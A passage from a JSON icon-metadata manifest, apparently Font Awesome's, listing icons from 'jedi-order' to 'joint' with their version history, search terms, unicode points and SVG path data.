1.7-10.1-1s-3.1-6.9-1-10.1L246 356.3c1.3-1.9 .2-4.5-2-4.9l-37.6-7.5c-3.7-.7-6.4-4-6.4-7.8s2.7-7.1 6.4-7.8l37.6-7.5c2.2-.4 3.3-3 2-4.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M246 315.7l-21.2-31.9c-2.1-3.2-1.7-7.4 1-10.1s6.9-3.1 10.1-1l29.5 19.7c2.1 1.4 4.9 0 5-2.6L279.7 8c.1-4.5 3.8-8 8.3-8s8.1 3.5 8.3 8l9.4 281.9c.1 2.5 2.9 3.9 5 2.6l29.5-19.7c3.2-2.1 7.4-1.7 10.1 1s3.1 6.9 1 10.1L330 315.7c-1.3 1.9-.2 4.5 2 4.9l37.6 7.5c3.7 .7 6.4 4 6.4 7.8s-2.7 7.1-6.4 7.8L332 351.4c-2.2 .4-3.3 3-2 4.9l21.2 31.9c2.1 3.2 1.7 7.4-1 10.1s-6.9 3.1-10.1 1l-26.3-17.6c-2.2-1.4-5.1 .2-5 2.8l2.1 61.5C370.6 435.2 416 382.9 416 320c0-37-15.7-70.4-40.8-93.7c-7-6.5-6.5-18.6 1-24.4C410.1 175.5 432 134.3 432 88c0-16.8-2.9-33-8.2-48c-4.6-13 10.2-30 21.4-22c53.5 38 92.7 94.8 107.8 160.7c.5 2.1-.2 4.3-1.7 5.9l-28.4 28.4c-4 4-1.2 10.9 4.5 10.9h26c3.4 0 6.2 2.6 6.3 6c.1 3.3 .2 6.6 .2 10c0 17.5-1.7 34.7-4.8 51.3c-.2 1.2-.9 2.4-1.7 3.3l-46.5 46.5c-4 4-1.2 10.9 4.5 10.9H526c4.6 0 7.7 4.8 5.7 9C487.2 450.5 394.8 512 288 512S88.8 450.5 44.3 361c-2.1-4.2 1-9 5.7-9H64.5c5.7 0 8.6-6.9 4.5-10.9L22.6 294.6c-.9-.9-1.5-2-1.7-3.3C17.7 274.7 16 257.5 16 240c0-3.3 .1-6.7 .2-10c.1-3.4 2.9-6 6.3-6h26c5.7 0 8.6-6.9 4.5-10.9L24.6 184.6c-1.5-1.5-2.2-3.8-1.7-5.9C38.1 112.8 77.3 56 130.8 18c11.3-8 26 8.9 21.4 22c-5.3 15-8.2 31.2-8.2 48c0 46.3 21.9 87.5 55.8 113.9c7.5 5.8 8 17.9 1 24.4C175.7 249.6 160 283 160 320c0 62.9 45.4 115.2 105.1 126l2.1-61.5c.1-2.6-2.8-4.2-5-2.8l-26.3 17.6c-3.2 2.1-7.4 1.7-10.1-1s-3.1-6.9-1-10.1L246 356.3c1.3-1.9 .2-4.5-2-4.9l-37.6-7.5c-3.7-.7-6.4-4-6.4-7.8s2.7-7.1 6.4-7.8l37.6-7.5c2.2-.4 3.3-3 2-4.9z"
      }
    },
    "free": ["solid"]
  },
  "jedi-order": {
    "changes": ["5.0.12", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": ["star wars"]
    },
    "styles": ["brands"],
    "unicode": "f50e",
    "label": "Jedi Order",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M398.5 373.6c95.9-122.1 17.2-233.1 17.2-233.1 45.4 85.8-41.4 170.5-41.4 170.5 105-171.5-60.5-271.5-60.5-271.5 96.9 72.7-10.1 190.7-10.1 190.7 85.8 158.4-68.6 230.1-68.6 230.1s-.4-16.9-2.2-85.7c4.3 4.5 34.5 36.2 34.5 36.2l-24.2-47.4 62.6-9.1-62.6-9.1 20.2-55.5-31.4 45.9c-2.2-87.7-7.8-305.1-7.9-306.9v-2.4 1-1 2.4c0 1-5.6 219-7.9 306.9l-31.4-45.9 20.2 55.5-62.6 9.1 62.6 9.1-24.2 47.4 34.5-36.2c-1.8 68.8-2.2 85.7-2.2 85.7s-154.4-71.7-68.6-230.1c0 0-107-118.1-10.1-190.7 0 0-165.5 99.9-60.5 271.5 0 0-86.8-84.8-41.4-170.5 0 0-78.7 111 17.2 233.1 0 0-26.2-16.1-49.4-77.7 0 0 16.9 183.3 222 185.7h4.1c205-2.4 222-185.7 222-185.7-23.6 61.5-49.9 77.7-49.9 77.7z"
      }
    },
    "free": ["brands"]
  },
  "jenkins": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b6",
    "label": "Jenkis",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M487.1 425c-1.4-11.2-19-23.1-28.2-31.9-5.1-5-29-23.1-30.4-29.9-1.4-6.6 9.7-21.5 13.3-28.9 5.1-10.7 8.8-23.7 11.3-32.6 18.8-66.1 20.7-156.9-6.2-211.2-10.2-20.6-38.6-49-56.4-62.5-42-31.7-119.6-35.3-170.1-16.6-14.1 5.2-27.8 9.8-40.1 17.1-33.1 19.4-68.3 32.5-78.1 71.6-24.2 10.8-31.5 41.8-30.3 77.8.2 7 4.1 15.8 2.7 22.4-.7 3.3-5.2 7.6-6.1 9.8-11.6 27.7-2.3 64 11.1 83.7 8.1 11.9 21.5 22.4 39.2 25.2.7 10.6 3.3 19.7 8.2 30.4 3.1 6.8 14.7 19 10.4 27.7-2.2 4.4-21 13.8-27.3 17.6C89 407.2 73.7 415 54.2 429c-12.6 9-32.3 10.2-29.2 31.1 2.1 14.1 10.1 31.6 14.7 45.8.7 2 1.4 4.1 2.1 6h422c4.9-15.3 9.7-30.9 14.6-47.2 3.4-11.4 10.2-27.8 8.7-39.7zM205.9 33.7c1.8-.5 3.4.7 4.9 2.4-.2 5.2-5.4 5.1-8.9 6.8-5.4 6.7-13.4 9.8-20 17.2-6.8 7.5-14.4 27.7-23.4 30-4.5 1.1-9.7-.8-13.6-.5-10.4.7-17.7 6-28.3 7.5 13.6-29.9 56.1-54 89.3-63.4zm-104.8 93.6c13.5-14.9 32.1-24.1 54.8-25.9 11.7 29.7-8.4 65-.9 97.6 2.3 9.9 10.2 25.4-2.4 25.7.3-28.3-34.8-46.3-61.3-29.6-1.8-21.5-4.9-51.7 9.8-67.8zm36.7 200.2c-1-4.1-2.7-12.9-2.3-15.1 1.6-8.7 17.1-12.5 11-24.7-11.3-.1-13.8 10.2-24.1 11.3-26.7 2.6-45.6-35.4-44.4-58.4 1-19.5 17.6-38.2 40.1-35.8 16 1.8 21.4 19.2 24.5 34.7 9.2.5 22.5-.4 26.9-7.6-.6-17.5-8.8-31.6-8.2-47.7 1-30.3 17.5-57.6 4.8-87.4 13.6-30.9 53.5-55.3 83.1-70 36.6-18.3 94.9-3.7 129.3 15.8 19.7 11.1 34.4 32.7 48.3 50.7-19.5-5.8-36.1 4.2-33.1 20.3 16.3-14.9 44.2-.2 52.5 16.4 7.9 15.8 7.8 39.3 9 62.8 2.9 57-10.4 115.9-39.1 157.1-7.7 11-14.1 23-24.9 30.6-26 18.2-65.4 34.7-99.2 23.4-44.7-15-65-44.8-89.5-78.8.7 18.7 13.8 34.1 26.8 48.4 11.3 12.5 25 26.6 39.7 32.4-12.3-2.9-31.1-3.8-36.2 7.2-28.6-1.9-55.1-4.8-68.7-24.2-10.6-15.4-21.4-41.4-26.3-61.4zm222 124.1c4.1-3 11.1-2.9 17.4-3.6-5.4-2.7-13-3.7-19.3-2.2-.1-4.2-2-6.8-3.2-10.2 10.6-3.8 35.5-28.5 49.6-20.3 6.7 3.9 9.5 26.2 10.1 37 .4 9-.8 18-4.5 22.8-18.8-.6-35.8-2.8-50.7-7 .9-6.1-1-12.1.6-16.5zm-17.2-20c-16.8.8-26-1.2-38.3-10.8.2-.8 1.4-.5 1.5-1.4 18 8 40.8-3.3 59-4.9-7.9 5.1-14.6 11.6-22.2 17.1zm-12.1 33.2c-1.6-9.4-3.5-12-2.8-20.2 25-16.6 29.7 28.6 2.8 20.2zM226 438.6c-11.6-.7-48.1-14-38.5-23.7 9.4 6.5 27.5 4.9 41.3 7.3.8 4.4-2.8 10.2-2.8 16.4zM57.7 497.1c-4.3-12.7-9.2-25.1-14.8-36.9 30.8-23.8 65.3-48.9 102.2-63.5 2.8-1.1 23.2 25.4 26.2 27.6 16.5 11.7 37 21 56.2 30.2 1.2 8.8 3.9 20.2 8.7 35.5.7 2.3 1.4 4.7 2.2 7.2H57.7zm240.6 5.7h-.8c.3-.2.5-.4.8-.5v.5zm7.5-5.7c2.1-1.4 4.3-2.8 6.4-4.3 1.1 1.4 2.2 2.8 3.2 4.3h-9.6zm15.1-24.7c-10.8 7.3-20.6 18.3-33.3 25.2-6 3.3-27 11.7-33.4 10.2-3.6-.8-3.9-5.3-5.4-9.5-3.1-9-10.1-23.4-10.8-37-.8-17.2-2.5-46 16-42.4 14.9 2.9 32.3 9.7 43.9 16.1 7.1 3.9 11.1 8.6 21.9 9.5-.1 1.4-.1 2.8-.2 4.3-5.9 3.9-15.3 3.8-21.8 7.1 9.5.4 17 2.7 23.5 5.9-.1 3.4-.3 7-.4 10.6zm53.4 24.7h-14c-.1-3.2-2.8-5.8-6.1-5.8s-5.9 2.6-6.1 5.8h-17.4c-2.8-4.4-5.7-8.6-8.9-12.5 2.1-2.2 4-4.7 6-6.9 9 3.7 14.8-4.9 21.7-4.2 7.9.8 14.2 11.7 25.4 11l-.6 12.6zm8.7 0c.2-4 .4-7.8.6-11.5 15.6-7.3 29 1.3 35.7 11.5H383zm83.4-37c-2.3 11.2-5.8 24-9.9 37.1-.2-.1-.4-.1-.6-.1H428c.6-1.1 1.2-2.2 1.9-3.3-2.6-6.1-9-8.7-10.9-15.5 12.1-22.7 6.5-93.4-24.2-78.5 4.3-6.3 15.6-11.5 20.8-19.3 13 10.4 20.8 20.3 33.2 31.4 6.8 6 20 13.3 21.4 23.1.8 5.5-2.6 18.9-3.8 25.1zM222.2 130.5c5.4-14.9 27.2-34.7 45-32 7.7 1.2 18 8.2 12.2 17.7-30.2-7-45.2 12.6-54.4 33.1-8.1-2-4.9-13.1-2.8-18.8zm184.1 63.1c8.2-3.6 22.4-.7 29.6-5.3-4.2-11.5-10.3-21.4-9.3-37.7.5 0 1 0 1.4.1 6.8 14.2 12.7 29.2 21.4 41.7-5.7 13.5-43.6 25.4-43.1 1.2zm20.4-43zm-117.2 45.7c-6.8-10.9-19-32.5-14.5-45.3 6.5 11.9 8.6 24.4 17.8 33.3 4.1 4 12.2 9 8.2 20.2-.9 2.7-7.8 8.6-11.7 9.7-14.4 4.3-47.9.9-36.6-17.1 11.9.7 27.9 7.8 36.8-.8zm27.3 70c3.8 6.6 1.4 18.7 12.1 20.6 20.2 3.4 43.6-12.3 58.1-17.8 9-15.2-.8-20.7-8.9-30.5-16.6-20-38.8-44.8-38-74.7 6.7-4.9 7.3 7.4 8.2 9.7 8.7 20.3 30.4 46.2 46.3 63.5 3.9 4.3 10.3 8.4 11 11.2 2.1 8.2-5.4 18-4.5 23.5-21.7 13.9-45.8 29.1-81.4 25.6-7.4-6.7-10.3-21.4-2.9-31.1zm-201.3-9.2c-6.8-3.9-8.4-21-16.4-21.4-11.4-.7-9.3 22.2-9.3 35.5-7.8-7.1-9.2-29.1-3.5-40.3-6.6-3.2-9.5 3.6-13.1 5.9 4.7-34.1 49.8-15.8 42.3 20.3zm299.6 28.8c-10.1 19.2-24.4 40.4-54 41-.6-6.2-1.1-15.6 0-19.4 22.7-2.2 36.6-13.7 54-21.6zm-141.9 12.4c18.9 9.9 53.6 11 79.3 10.2 1.4 5.6 1.3 12.6 1.4 19.4-33 1.8-72-6.4-80.7-29.6zm92.2 46.7c-1.7 4.3-5.3 9.3-9.8 11.1-12.1 4.9-45.6 8.7-62.4-.3-10.7-5.7-17.5-18.5-23.4-26-2.8-3.6-16.9-12.9-.2-12.9 13.1 32.7 58 29 95.8 28.1z"
      }
    },
    "free": ["brands"]
  },
  "jet-fighter": {
    "aliases": {
      "names": ["fighter-jet"],
      "unicodes": {
        "secondary": ["10f0fb"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airforce",
        "airplane",
        "airport",
        "fast",
        "fly",
        "goose",
        "marines",
        "maverick",
        "military",
        "plane",
        "quick",
        "top gun",
        "transportation",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0fb",
    "label": "Jet Fighter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M160 24c0-13.3 10.7-24 24-24H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H280L384 192H500.4c7.7 0 15.3 1.4 22.5 4.1L625 234.4c9 3.4 15 12 15 21.6s-6 18.2-15 21.6L522.9 315.9c-7.2 2.7-14.8 4.1-22.5 4.1H384L280 464h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H184c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V320H160l-54.6 54.6c-6 6-14.1 9.4-22.6 9.4H64c-17.7 0-32-14.3-32-32V288c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H82.7c8.5 0 16.6 3.4 22.6 9.4L160 192h32V48h-8c-13.3 0-24-10.7-24-24zM80 240c-8.8 0-16 7.2-16 16s7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M160 24c0-13.3 10.7-24 24-24H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H280L384 192H500.4c7.7 0 15.3 1.4 22.5 4.1L625 234.4c9 3.4 15 12 15 21.6s-6 18.2-15 21.6L522.9 315.9c-7.2 2.7-14.8 4.1-22.5 4.1H384L280 464h16c13.3 0 24 10.7 24 24s-10.7 24-24 24H184c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V320H160l-54.6 54.6c-6 6-14.1 9.4-22.6 9.4H64c-17.7 0-32-14.3-32-32V288c-17.7 0-32-14.3-32-32s14.3-32 32-32V160c0-17.7 14.3-32 32-32H82.7c8.5 0 16.6 3.4 22.6 9.4L160 192h32V48h-8c-13.3 0-24-10.7-24-24zM80 240c-8.8 0-16 7.2-16 16s7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H80z"
      }
    },
    "free": ["solid"]
  },
  "jet-fighter-up": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "airforce",
        "airplane",
        "airport",
        "fast",
        "fly",
        "goose",
        "marines",
        "maverick",
        "military",
        "plane",
        "quick",
        "top gun",
        "transportation",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "e518",
    "label": "Jet Fighter Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M270.7 9.7C268.2 3.8 262.4 0 256 0s-12.2 3.8-14.7 9.7L197.2 112.6c-3.4 8-5.2 16.5-5.2 25.2v77l-144 84V280c0-13.3-10.7-24-24-24s-24 10.7-24 24v56 32 24c0 13.3 10.7 24 24 24s24-10.7 24-24v-8H192v32.7L133.5 468c-3.5 3-5.5 7.4-5.5 12v16c0 8.8 7.2 16 16 16h96V448c0-8.8 7.2-16 16-16s16 7.2 16 16v64h96c8.8 0 16-7.2 16-16V480c0-4.6-2-9-5.5-12L320 416.7V384H464v8c0 13.3 10.7 24 24 24s24-10.7 24-24V368 336 280c0-13.3-10.7-24-24-24s-24 10.7-24 24v18.8l-144-84v-77c0-8.7-1.8-17.2-5.2-25.2L270.7 9.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M270.7 9.7C268.2 3.8 262.4 0 256 0s-12.2 3.8-14.7 9.7L197.2 112.6c-3.4 8-5.2 16.5-5.2 25.2v77l-144 84V280c0-13.3-10.7-24-24-24s-24 10.7-24 24v56 32 24c0 13.3 10.7 24 24 24s24-10.7 24-24v-8H192v32.7L133.5 468c-3.5 3-5.5 7.4-5.5 12v16c0 8.8 7.2 16 16 16h96V448c0-8.8 7.2-16 16-16s16 7.2 16 16v64h96c8.8 0 16-7.2 16-16V480c0-4.6-2-9-5.5-12L320 416.7V384H464v8c0 13.3 10.7 24 24 24s24-10.7 24-24V368 336 280c0-13.3-10.7-24-24-24s-24 10.7-24 24v18.8l-144-84v-77c0-8.7-1.8-17.2-5.2-25.2L270.7 9.7z"
      }
    },
    "free": ["solid"]
  },
  "jira": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["atlassian"]
    },
    "styles": ["brands"],
    "unicode": "f7b1",
    "label": "Jira",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M490 241.7C417.1 169 320.6 71.8 248.5 0 83 164.9 6 241.7 6 241.7c-7.9 7.9-7.9 20.7 0 28.7C138.8 402.7 67.8 331.9 248.5 512c379.4-378 15.7-16.7 241.5-241.7 8-7.9 8-20.7 0-28.6zm-241.5 90l-76-75.7 76-75.7 76 75.7-76 75.7z"
      }
    },
    "free": ["brands"]
  },
  "joget": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b7",
    "label": "Joget",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M378.1 45C337.6 19.9 292.6 8 248.2 8 165 8 83.8 49.9 36.9 125.9c-71.9 116.6-35.6 269.3 81 341.2s269.3 35.6 341.2-80.9c71.9-116.6 35.6-269.4-81-341.2zm51.8 323.2c-40.4 65.5-110.4 101.5-182 101.5-6.8 0-13.6-.4-20.4-1-9-13.6-19.9-33.3-23.7-42.4-5.7-13.7-27.2-45.6 31.2-67.1 51.7-19.1 176.7-16.5 208.8-17.6-4 9-8.6 17.9-13.9 26.6zm-200.8-86.3c-55.5-1.4-81.7-20.8-58.5-48.2s51.1-40.7 68.9-51.2c17.9-10.5 27.3-33.7-23.6-29.7C87.3 161.5 48.6 252.1 37.6 293c-8.8-49.7-.1-102.7 28.5-149.1C128 43.4 259.6 12.2 360.1 74.1c74.8 46.1 111.2 130.9 99.3 212.7-24.9-.5-179.3-3.6-230.3-4.9zm183.8-54.8c-22.7-6-57 11.3-86.7 27.2-29.7 15.8-31.1 8.2-31.1 8.2s40.2-28.1 50.7-34.5 31.9-14 13.4-24.6c-3.2-1.8-6.7-2.7-10.4-2.7-17.8 0-41.5 18.7-67.5 35.6-31.5 20.5-65.3 31.3-65.3 31.3l169.5-1.6 46.5-23.4s3.6-9.5-19.1-15.5z"
      }
    },
    "free": ["brands"]
  },
  "joint": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f595"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "blunt",
        "cannabis",
        "doobie",
        "drugs",
        "marijuana",
        "roach",
